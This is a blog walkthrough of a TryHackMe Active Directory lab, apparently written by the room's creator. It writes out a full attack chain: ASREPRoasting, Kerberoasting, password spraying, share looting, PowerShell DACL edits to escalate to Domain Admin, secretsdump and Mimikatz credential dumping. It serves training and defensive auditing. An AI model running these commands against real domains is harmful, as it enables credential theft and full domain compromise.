Active Directory with a twist Walkthrough

Rich
9 min readOct 15, 2024

--

TL;DR TryHackMe won’t let me make the room public without linking a walkthrough first, which is odd considering that it’s a ‘Challenge Room’. Hence I wrote a walkthrough. The room is here.

Background

This room stresses attacker TTPs such as Name Poisoning and ASREPRoasting for gaining initial access. It then moves to enumerating share drives, scraping them for plaintext credentials, and password spraying.

That’s the easy part however. The real escalation path starts once one compromises a user who is allowed to RDP into the VM. One must enumerate and abuse DACLs in both AD and NTFS to escalate all the way to Domain Admin.

The VM is a bit of a duct tape solution as TryHackMe only allows one VM in the room. Just pretend that the VM is a domain workstation and proceed accordingly. Finishing this room does not involve any unpatched vulnerabilities. Only rockyou.txt is required for tasks such as Kerberoasting. The focus is on misconfigurations that may have been left behind by a prior sysadmin.

Task 1; Initial scanning & access

As always we start with an nmap scan.

sudo nmap -sV -O 192.168.0.140

This gets us the answer to the first question and our first piece of info; the domain name is lab.local.

The questions guide us to try ASREPRoasting and look for username Bill.Lumbergh, so we will

/usr/share/doc/python3-impacket/examples/GetNPUsers.py lab.local/ -no-pass -usersfile /home/kali/Range_Users.txt

Copy/paste the hash we get and run it past john using rockyou.txt. If you don’t already have a copy, rockyou.txt is available here.

john --wordlist=/home/kali/rockyou.txt /home/kali/roasted.txt
Password is redacted

Nice, we now have legitimate credentials for a Domain User. We can enumerate the domain:

enum4linux -u Bill.Lumbergh -p <password> -a 192.168.0.140

This gets us usernames, groups, and most relevant to this room the names of any share drives.

smbclient \\\\192.168.0.140\\Share -U lab\\Bill.Lumbergh%<password>

We find interesting info in a text file letting us know that we should probably poke around in the ManageAD folder, however we do not currently have read rights to it. However ManageAD sounds like it might be a service account, and the questions lead us to Kerberoasting. Let’s try that.

/usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request lab.local/Bill.Lumbergh -dc-ip 192.168.0.140 -outputfile /home/kali/THM_Kerberoasted.txt

john /home/kali/THM_Kerberoasted.txt - format=krb5tgs --wordlist=/home/kali/rockyou.txt
Password Redacted

We get another set of credentials, and this account can access the ManageAD folder on the share drive. We can grab everything we have read access to:

smbclient \\\\192.168.0.140\\Share -U lab\\Manage.AD%<password> -c ‘prompt OFF;recurse ON;cd ‘ManageAD’;lcd ‘~/home/kali/Pilfered’;mget *’

We can then search

grep -rni “password” *

We find a plaintext password. We got a list of usernames back when we ran enum4linux as Bill.Lumbergh, so we can password spray and see if we get a hit.

crackmapexec smb 192.168.0.140 -u /home/kali/Range_Users.txt -p <password>
Password Redacted

Crackmapexec helpfully lets us know that we got a hit, however the password must be changed at the next login. This makes sense, since we found the password hard coded in a function that resets user’s passwords. It’s normal practice to reset a forgotten password and require the user to then change it to something they will remember.

Impacket has a tool for just this task.

/usr/share/doc/python3-impacket/examples/smbpasswd.py Jen.Barber@192.168.0.140

Put in the current password, then enter a new one twice to confirm. Just make sure it hits the complexity requirements.

Task 2 AD & NTFS DACL enumeration & abuse

This is where the room gets interesting. We can RDP as Jen.Barber and get to work enumerating.

xfreerdp /v:192.168.0.140 /u:Jen.Barber /p:<password> /dynamic-resolution

We can copy/paste the Red Team folder we downloaded as ManageAD and drop it on Jen’s Desktop. Defender is enabled on this VM, so one would have to copy/paste the AMSI bypass and run PowerView from memory, or one could simply use ‘Red Team’ as it leverages builtin PowerShell queries, checks nested groups, and doesn’t trip Defender.

Import-Module .\RedTeam.ps1

Get-Rights

We see that Jen.Barber can reset passwords and re-enable all accounts in the OUs User_Accounts and Helpdesk. This is called ExtendedRight with ObjectType 00299570–246d-11d0-a768–00aa006e0529 in PowerShell. These GUIDs can be cryptic at first, but all one has to do is keep a cheat sheet handy, like this one. The Red Team tool specifically looks for ‘Dangerous Rights’ held by a given user. These ‘Dangerous Rights’ allow a user to reset another user’s password, join a group, etc. These are actions which in turn give an attacker more rights, and often an escalation path.

The Helpdesk OU includes a HelpDesk Tier II member. That user can in turn add themselves to the SQL Admins group.

Hence Jen resets Frisky.McRisky’s password.

Set-ADAccountPassword -Identity “Frisky.McRisky” -Reset -NewPassword (ConvertTo-SecureString -AsPlainText ‘<password>’ -Force)

Sidenote on smartcards

We can then attempt to RDP as Frisky.

xfreerdp /v:192.168.0.140 /u:Frisky.McRisky /p:<password> /dynamic-resolution

But we hit an issue.

Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Description, SmartCardLogonRequired
as seen in PowerShell
As seen in Active Directory Users & Computers, aka ADUC

Notice something in the specific verbiage Microsoft uses?

As those who have been around Windows for very long know, interactive is only one type of logon. There are other methods of remotely accessing a Windows system. One can authenticate via a network logon, aka a Type 3 logon, with PsExec for example. PsExec is a legitimate Sysinternals tool. Microsoft bought Sysinternals awhile back and the suite of tools is available here.

Kali includes psexec.py as part of Impacket, and of course Kali also includes our personal favorite tool: evil-winrm. Hence we can access the VM as Frisky.McRisky and add ourselves to the SQL Admins group.

evil-winrm -i 192.168.0.140 -u Frisky.McRisky -p <password>

Add-ADGroupMember -Identity "SQL Admins" -Members "Frisky.McRisky"

Exit evil-winrm, wait a few minutes, and then reconnect. This is necessary as privileges are calculated at login, and adding ourselves to SQL Admins gives us more privileges. SQL Admins is a ‘self managing’ group, aka it holds GenericAll over itself, so once Frisky logs back in they can add Jen to SQL Admins as well.

Add-ADGroupMember -Identity “SQL Admins” -Members “Jen.Barber”

Sidenote on Deny statements in DACLs

We then login as Jen and attempt to add ourselves to Server Admins. This however fails.

Much like the smartcard issue earlier, I hadn’t seen other TryHackMe rooms or CTF style labs cover this one.

DACLs can either allow or deny an action. Checking the Server Admins DACL for groups that Jen is in, we see that she is allowed to add members to the group via membership in SQL Admins, however another group she is in is denied it.

But there’s a catch; SQL Admins can add and remove members from CTRs. A clever attacker will see this, and simply leave the CTRs group, log out, wait a few minutes, and log back in.

Remove-ADGroupMember -Identity “CTRs” -Members “Helpdesk Tier I”, “Helpdesk Tier II”, “SQL Admins”

Once Jen logs back in one simply does

Add-ADGroupMember -Identity “Server Admins” -Members “Jen.Barber”

We are now repeating a common TTP; add ourselves to a group, log out, wait a few minutes, log back in, enumerate again, and then take the next action. I am not sure there is a term for this yet, for now I will call it ‘The DACL Abuse Shuffle’.

We see that Server Admins has WriteOwner on Server Admins T2. Therefore we will make Jen the owner, give Server Admins GenericAll, then add Jen to that group as well.

Import-Module ActiveDirectory
Set-Location AD:

#Make Jen the owner of Server Admins T2
$victim = (Get-ADGroup "Server Admins T2").DistinguishedName
$acl = Get-Acl $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity "Jen.Barber").SID
$acl.SetOwner($user)
Set-ACL $victim $acl

#Give Server Admins GenericAll on Server Admins T2
$victim = (Get-ADGroup "Server Admins T2" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup "Server Admins").SID
#Allow GenericAll
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"GenericAll","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl

#Add Jen to Server Admins T2
Add-ADGroupMember -Identity "Server Admins T2" -Members "Jen.Barber"

Almost there

We know that the AD group “AD Admins” can access the file ‘Admin_Notes.txt’ on the share drive. Jen couldn’t read it, and checked the DACL.

But can Jen add herself to AD Admins?

Yes, yes she can.

$victim = (Get-ADGroup "AD Admins" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup "Domain Users").SID
#Remove the deny
$acl.RemoveAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"WriteProperty","DENY",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Add GenericAll for Server Admins T2
$user2 = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup "Server Admins T2").SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user2,"GenericAll","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl

Add-ADGroupMember -Identity "AD Admins" -Members "Jen.Barber"

Pay dirt

As always, log out, wait a few minutes, and log back in.

Set-Location C:\Share\AdminStuff
icacls .\Admin_Stuff.txt /grant lab\Jen.Barber:F
Get-Content .\Admin_Stuff.txt
Redacted to omit the juicy part that lets you know the Domain Admins password

Task 3 Post Compromise

At this point the room gets easy again. One can leverage secretsdump to grab the krbtgt NTLM hash and RDP into the VM as a Domain Admin in order to grab both flags.

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc Administrator:<password>@192.168.0.140
NTLM hashes Redacted, LM hashes shown
xfreerdp /v:192.168.0.140 /u:Administrator /p:<password> /dynamic-resolution

Turn off Defender, copy/paste Mimikatz, and run Mimikatz.exe as Admin.

token::elevate
privilege::debug
vault::cred
exit

Get-Content .\Admin_Flag.txt
Flags Redacted

Like the hint said, dump everything.

Damn, Jen just took over the entire domain and dumped the secret data. Not bad for someone who’s famous for this.

Bear in mind that if Jen was a disgruntled insider this could have happened. An attacker could have phished her, or an attacker could have gained LAN access and started at step 0. However in the real world an insider is all too often also the attacker, or they willingly sell their credentials to one.

Summary

This room stressed a few topics that one doesn’t see often on TryHackMe, or in many ranges; the impact of smartcards on lateral movement, enumerating Deny statements and working around them, and the intersection of AD and NTFS DACL abuse.

Overall I thought it was a really good exercise. The escalation path was rather convoluted, but such paths in the real world often are. Attackers will still find and abuse them given enough time. Defenders need to audit, find them first, and remove them.

References

Creating a THM room: https://medium.com/@cykn0x/so-you-wanna-create-a-room-on-tryhackme-95e6c64543ca

THM on creating a THM room: https://help.tryhackme.com/en/articles/8979423-building-a-successful-community-room-with-outc4s7

Requirements for THM Windows VMs: https://docs.aws.amazon.com/vm-import/latest/userguide/vmie_prereqs.html

Maybe helpful RE VM export: https://stackoverflow.com/questions/20608310/virtualbox-error-failed-to-open-a-session-for-the-virtual-machine

Helpdesk Tiers: https://www.google.com/search?q=helpdesk+tiers&oq=helpdesk+tiers&gs_lcrp=EgZjaHJvbWUyCQgAEEUYORiABDIICAEQABgWGB4yDQgCEAAYhgMYgAQYigUyDQgDEAAYhgMYgAQYigUyDQgEEAAYhgMYgAQYigUyCggFEAAYgAQYogQyCggGEAAYgAQYogTSAQgzMzkyajBqNKgCALACAQ&sourceid=chrome&ie=UTF-8

Exporting OVAs from VMware: https://superuser.com/questions/1731481/how-can-i-export-a-vm-as-ova-with-vmware-workstation

All mere Domain Users WinRM: https://serverfault.com/questions/993482/enable-winrm-for-domain-user

Startup tasks fail without batch logon right: https://stackoverflow.com/questions/14259285/windows-task-scheduler-error-101-launch-failure-code-2147943785

AD cheat sheet: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet

Nifty AD tool, a junior BloodHound of sorts: https://github.com/lkarlslund/Adalanche

Good AD security overview: https://alisefer.medium.com/windows-active-directory-security-101-f2578813601e

AD Methodology: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology

ADELEG: https://www.linkedin.com/pulse/adeleg-active-directory-security-tool-youve-never-heard-alessi-lvqze/?trackingId=3aNALtco4oiwd1oAVn8b6Q%3D%3D

Windows logon types: https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types

Membership Property Set: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/177c0db5-fa12-4c31-b75a-473425ce9cca

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.

No responses yet